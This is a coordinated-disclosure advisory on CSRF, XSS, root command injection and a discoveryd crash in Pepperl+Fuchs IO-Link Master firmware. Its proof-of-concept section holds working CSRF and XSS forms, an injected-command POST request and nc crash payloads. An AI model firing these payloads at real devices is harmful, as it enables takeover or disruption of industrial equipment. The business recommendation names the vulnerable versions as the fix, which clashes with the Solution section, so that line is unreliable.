SEC Consult Vulnerability Lab Security Advisory < 20210113-0 > ======================================================================= title: Multiple vulnerabilities product: Pepperl+Fuchs IO-Link Master Series See "Vulnerable / tested versions" vulnerable version: System 1.36 / Application 1.5.28 fixed version: System 1.52 / Application 1.6.11 CVE number: CVE-2020-12511, CVE-2020-12512, CVE-2020-12513, CVE-2020-12514 impact: High homepage: https://www.pepperl-fuchs.com found: 2020-04-23 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Automation is our world. Perfect application solutions are our goal. In 1945, Walter Pepperl and Ludwig Fuchs founded a small radio workshop in Mannheim, Germany, based on the principles of inventiveness, entrepreneurial foresight, and self-reliance. The experience they acquired was transformed into new ideas, and they continued to enjoy developing products for customers. The eventual result was the invention of the proximity switch. This innovation rep- resented the starting point of the company's success story. Today, Pepperl+Fuchs is known by customers around the world as a pioneer and an innovator in electrical explosion protection and sensor technology. Our main focus is always on your individual requirements: With a passion for automation and groundbreaking technology, we are committed to working in partnership with you now and in the future. We understand the demands of your markets, develop- ing specific solutions, and integrating them into your processes." Source: https://www.pepperl-fuchs.com/usa/en/25.htm Business recommendation: ------------------------ SEC Consult recommends to update the devices to the newest firmware packages (System 1.36 / Application 1.5.28), where the documented issues are fixed according to the vendor. Vulnerability overview/description: ----------------------------------- 1) Cross-Site Request Forgery (CSRF) (CVE-2020-12511) The web interface that is used to set all configurations, is vulnerable to cross-site request forgery attacks. An attacker can change settings via this way by luring the victim to a malicious website. 2) Authenticated Reflected POST Cross-Site Scripting (CVE-2020-12512) An authenticated reflected cross-site scripting can be triggered by issuing a POST request to the "/Software" endpoint which is available on the web-service. An attacker can abuse these vulnerabilities to steal cookies from the attacked user in order to log on to the device. An attacker is also able to perform actions in the context of the attacked user. 3) Authenticated Blind Command Injection (CVE-2020-12513) A command injection was identified in the web-interface. This vulnerability is present because of unfiltered user input that is appended to a string which gets executed with "exec()". Commands are executed as root user. 4) Null Pointer Dereference / DoS in "discoveryd" (CVE-2020-12514) The discovery daemon ("discoveryd") is started during the bootup of the device. The program is used for the network management program "PortVision DX". It is designed with unsafe functions and is vulnerable to a DoS attack. This is triggered due to a null dereference in strlen. A debug mode is also available in the program. This can be activated by starting the discovery daemon with "discoveryd -vv". All inputs are printed to the stdout during its execution with this argument. This is not done in the productive device but can lead to more severe attacks. 5) Outdated and Vulnerable Software Components Outdated and vulnerable software components were found on the device during a quick examination. One of the discovered vulnerabilities (CVE-2017-16544) was verified by using the MEDUSA scalable firmware runtime. Proof of concept: ----------------- 1) Cross-Site Request Forgery (CSRF) (CVE-2020-12511) The following PoC can be used to change the hostname of the device to "SEC- Consult": ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://$IP/configuration_tab/ajax_comb_table_save/network_config/network_config_schema" method="POST"> <input type="hidden" name="form" value="Hostname&#61;SEC-Consult&amp;IPv4mode&#61;static&amp;IPv4address&#61;1&#46;1&#1;0&#1;1&amp;IPv4netmask&#61;255&#46;255&#46;255&#46;0&amp;IPv4gateway&#61;1&#46;1&#46;1&#1;2&amp;DNSmode&#61;manual&amp;IPv4DNS1&#61;&amp;IPv4DNS2&#61;&amp;IpAddrCnflctDetectEnbl&#61;enable&amp;NtpServer&#61;&amp;SyslogServer&#61;&amp;SyslogPort&#61;514&amp;SshServerEnable&#61;disable" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 2) Authenticated Reflected POST Cross-Site Scripting (CVE-2020-12512) By sending the following request to the web-service, a reflected cross-site scripting vulnerability can be triggered: ------------------------------------------------------------------------------- POST /Software HTTP/1.1 Host: $IP Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 42 Connection: close Cookie: ui_language=en_US; PHPSESSID=r7jtaceerqeijqr4b2dl0us814 Upgrade-Insecure-Requests: 1 language=german'><script>alert(document.cookie)</script> ------------------------------------------------------------------------------- The server responds with the following content: ------------------------------------------------------------------------------- HTTP/1.1 200 OK X-Powered-By: PHP/5.6.15 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-type: text/html; charset=UTF-8 Content-Length: 11860 Connection: close Date: Thu, 01 Jan 1970 00:59:46 GMT Server: lighttpd/1.4.41 [...] <div class="page-content"> <div class="page-header"> <h1>Software <a href='/assets/WebHelp/german'><script>alert(document.cookie)</script>/advanced/software.htm' target='_blank'><img src='/assets/images/question_16.png' alt='Page-specific Help'></a></h1> <a class="latest-version" href="#">Check for latest version</a> </div> [...] ------------------------------------------------------------------------------- PoC-Exploit code for the cross-site scripting vulnerability: ------------------------------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://$IP/Software" method="POST"> <input type="hidden" name="language" value="german&apos;&gt;&lt;script&gt;alert&#40;document&#46;cookie&#41;&lt;&#47;script&gt;" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------------- 3) Authenticated Blind Command Injection (CVE-2020-12513) By entering a command in the field "code" under the tab "IO-Link Test Event Generation" on the endpoint "/Misc/Settings" that is surrounded by ";", it gets executed. The following POST request to the web-service demonstrates this with the command "ping 127.0.0.1": ------------------------------------------------------------------------------- POST /index.php/ajax/generate_iolink_event/ HTTP/1.1 Host: $IP Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://$IP/Misc/Settings Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 101 Connection: close Cookie: ui_language=en_US; PHPSESSID=lh8d4g4e8fm9f1732j9g6bm3a0 mode=single&type=message&instance=unknown&source=local&pdivalid=valid&code=0x0000%3Bping+127.0.0.1%3B ------------------------------------------------------------------------------- There is no response from the web-service which indicates to the attacker that the command was executed. As this was tested on an emulated device only, the commands were seen in the process list which proofed that it was executed as root: -bash-4.4# ps PID USER COMMAND [...] 216 root /usr/sbin/restoremonitor 272 root /usr/sbin/snmpd -Lsd -Lf /dev/null -p /var/run/snmpd.pid 333 root /apps/bin/appmgr 347 root 05discoverd 349 root 11iolinkconfigd 353 root 90netconfig-saved 354 root 90netconfig-working 385 root lighttpd -f /apps/www/lighttpd.conf 386 root /usr/bin/php-cgi 387 root /usr/bin/php-cgi 388 root /usr/bin/php-cgi 389 root /usr/bin/php-cgi 390 root /usr/bin/php-cgi 391 root /usr/bin/php-cgi 392 root config waitcmd working network /apps/bin/updateLighttpdAuth 395 root /usr/bin/php-cgi 397 root -bash 399 root /usr/bin/php-cgi 473 root udhcpc -R -n -O search -p /var/run/udhcpc.eth0.pid -i eth0 -x ho 2519 root [kworker/u3:2] 3173 root sh -c injectEvent -m single -t message -i unknown -s local -v va 3175 root ping 127.0.0.1 3509 root 50ethernetip 3541 root [10iolinkd] 3544 root ps 4) Null Pointer Dereference / DoS in "discoverd" (CVE-2020-12514) Payload for triggering a segmentation fault (caused by a null pointer dereference): $ echo -e "\xa9\x8d\xfd\x53\x03\x8a\x7c\x32\x00\x00\x02\x00\x0c\x00\x10\x10" | nc -u $IP 4606 Program received signal SIGSEGV, Segmentation fault. 0xb6f5dfb4 in strlen () from /lib/libc.so.0 (gdb) Payload for writing ASCII characters in debug mode ("discoveryd -vv"). Register R4 can be controlled via a byte (filled with value "\xab") also in normal mode ("discoveryd"): $ echo -e "\xa9\x8d\xfd\x53\x03\x8a\x7c\x32\x00\x00\x02\x01\x0c\x00\x10\xab\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63\x73\x65\x63" | nc -u $IP 4606 Program received signal SIGSEGV, Segmentation fault. 0xb6f5dfb4 in strlen () from /lib/libc.so.0 (gdb) i r r0 0x0 0 r1 0x0 0 r2 0xbefffb9b 3204447131 r3 0x0 0 r4 0xab 171 r5 0x1da 474 r6 0xb6f8dbee 3069762542 r7 0x0 0 r8 0x0 0 r9 0x0 0 r10 0xb6ffef74 3070226292 r11 0xbefff574 3204445556 r12 0xb6f5dfb0 3069566896 sp 0xbefff558 0xbefff558 lr 0xaf9c 44956 pc 0xb6f5dfb4 0xb6f5dfb4 <strlen+4> cpsr 0xa0000010 -1610612720 fpscr 0x0 0 More bytes than in this payload will lead to another program execution path in debug mode ("discoveryd -vv"). $ echo -e "\xa9\x8d\xfd\x53\x03\x8a\x7c\x32\x00\x00\x02\x01\x0c\x00\x10\xab\x63\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | nc -u $IP 4606 Other program paths, depending on the current memory, can be triggered with this payload in debug mode due to printf: $ echo -e "\xa9\x8d\xfd\x53\x03\x8a\x7c\x32\x00\x00\x02\x01\x0c\x00\x10\xab\x63\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | nc -u $IP 4606 In normal mode, only a null pointer dereference is triggered which leads to a program crash. 5) Outdated and Vulnerable Software Components * PHP 5.6.15 * lighttpd 1.4.41 * OpenSSL 1.0.2j * Linux Kernel 2.6.30 * BusyBox 1.26.2 The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device: A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability. ------------------------------------------------------------------------------- # ls "pressing <TAB>" test ]55;test.txt # ------------------------------------------------------------------------------- The vulnerabilities 1), 2), 3) and 4) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime. Vulnerable / tested versions: ----------------------------- The IO-Link Master devices are sharing the same firmware base. The vulnerabilities were tested on an emulated firmware (system 1.36/ app EIP 1.5.28). According to the vendor, all firmware versions below 1.5.48 are vulnerable: IO-Link Master 4-EIP / <=1.5.48 IO-Link Master 8-EIP / <=1.5.48 IO-Link Master 8-EIP-L / <=1.5.48 IO-Link Master DR-8-EIP / <=1.5.48 IO-Link Master DR-8-EIP-P / <=1.5.48 IO-Link Master DR-8-EIP-T / <=1.5.48 IO-Link Master 4-PNIO / <=1.5.48 IO-Link Master 8-PNIO / <=1.5.48 IO-Link Master 8-PNIO-L / <=1.5.48 IO-Link Master DR-8-PNIO / <=1.5.48 IO-Link Master DR-8-PNIO-P / <=1.5.48 IO-Link Master DR-8-PNIO-T / <=1.5.48 Vendor contact timeline: ------------------------ 2020-04-30 | Contacting VDE CERT through info@cert.vde.com. 2020-07-29 | Received confirmation from VDE CERT. 2020-07-31 | Call with P+F regarding vulnerabilities from this and another advisory. 2020-09-29 | Call with Pepperl+Fuchs and CERT@VDE regarding status. 2020-10-02 | Received CVE IDs and preliminary advisory from VDE@CERT. 2020-11-11 | Call with Pepperl+Fuchs regarding the patches. They should be available within the next two weeks according to P+F. Agreed with P+F and VDE CERT to release the security advisory next year. 2020-12-14 | Received preliminary advisory from P+F. Set publication date to 2021-01-04. 2021-01-04 | Received final advisory from P+F. 2021-01-13 | Coordinated release of security advisory. Solution: --------- Update the firmware to Application 1.6.11 / System 1.52 to resolve the security issues. According to Pepperl+Fuchs, the following steps are recommended to be taken: "In order to prevent the exploitation of the reported vulnerabilities, we recommend that the affected units be updated with the following three firmware packages: - U-Boot bootloader version 1.36 or newer - System image version 1.52 or newer - Application base version 1.6.11 or newer Furthermore, it is always recommended to observe the following measures if the affected products are connected to public networks: 1. An external protective measure to be put in place. Traffic from untrusted networks to the device should be blocked by a firewall. Especially traffic targeting the administration webpage. 2. Device user accounts to be enabled with secure passwords. If non-trusted people/applications have access to the network that the device is connected to, then configuring passwords for all three User Accounts is recommended." Pepperl+Fuchs advisory page: https://www.pepperl-fuchs.com/germany/de/29079.htm Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF T. Weber / @2021